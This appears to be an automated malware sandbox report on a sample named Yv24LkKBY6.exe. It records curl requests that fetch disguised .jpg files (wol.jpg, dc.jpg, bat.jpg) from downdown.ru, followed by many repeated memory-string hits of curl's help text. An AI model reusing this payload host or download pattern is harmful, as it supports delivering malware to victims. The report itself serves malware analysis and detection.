Source: global traffic	HTTP traffic detected: GET /wol.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /dc.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /bat.jpg HTTP/1.1User-Agent: curl/7.40.0-DEVHost: downdown.ruAccept: /

Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000023.00000002.20326390773.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000023.00000002.20326390773.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000024.00000002.20360586166.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000024.00000002.20360586166.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000025.00000002.20385900647.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000025.00000002.20385900647.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000026.00000002.20394300207.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000026.00000002.20394300207.000000000030B000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie 